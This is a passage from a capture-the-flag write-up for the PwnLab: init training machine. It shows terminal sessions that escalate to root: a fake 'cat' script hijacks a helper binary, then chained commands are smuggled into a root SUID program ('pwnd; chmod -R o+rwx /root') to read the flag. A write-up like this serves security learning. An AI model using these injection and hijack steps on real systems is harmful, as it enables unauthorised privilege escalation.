kane@pwnlab:~$ echo "chown -R kane:kane /home/mike" > cat
echo "chown -R kane:kane /home/mike" > cat
kane@pwnlab:~$ ./msgmike
./msgmike
chown: changing ownership of ‘/home/mike/msg2root’: Operation not permitted
chown: changing ownership of ‘/home/mike/.bashrc’: Operation not permitted
chown: changing ownership of ‘/home/mike/.profile’: Operation not permitted
chown: changing ownership of ‘/home/mike/.bash_logout’: Operation not permitted
chown: changing ownership of ‘/home/mike’: Operation not permitted
# Okay we cant run chown I guess
kane@pwnlab:~$ echo "chmod -R o+rwx /home/mike" > cat
echo "chmod -R o+rwx /home/mike" > cat
kane@pwnlab:~$ ./msgmike
./msgmike
chmod: changing permissions of ‘/home/mike/msg2root’: Operation not permitted
kane@pwnlab:~$ cd /home/mike
cd /home/mike
kane@pwnlab:/home/mike$ ls -al
ls -al
total 28
drwxr-xrwx 2 mike mike 4096 Mar 17  2016 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--rwx 1 mike mike  220 Mar 17  2016 .bash_logout
-rw-r--rwx 1 mike mike 3515 Mar 17  2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root
-rw-r--rwx 1 mike mike  675 Mar 17  2016 .profile

Alright, now we have a root SUID binary... Let's see what it does shall we?

kane@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: hello
hello
hello

Wtf is this?! Playing with it:

kane@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: whoami
whoami
whoami
kane@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: hello; ls
hello; ls
hello
msg2root
Message for root: hello; whoami
hello; whoami
hello
root
kane@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: pwnd; chmod -R o+rwx /root
pwnd; chmod -R o+rwx /root
pwnd
kane@pwnlab:/home/mike$ ls /root
ls /root
flag.txt  messages.txt
kane@pwnlab:/home/mike$ cat /root/flag.txt
cat /root/flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| \'_ \ / _\` | \'__/ _\` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For sniferl4bs.com  (__  _)
( _ __)                                claor@PwnLab.net - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
\`-._.-\'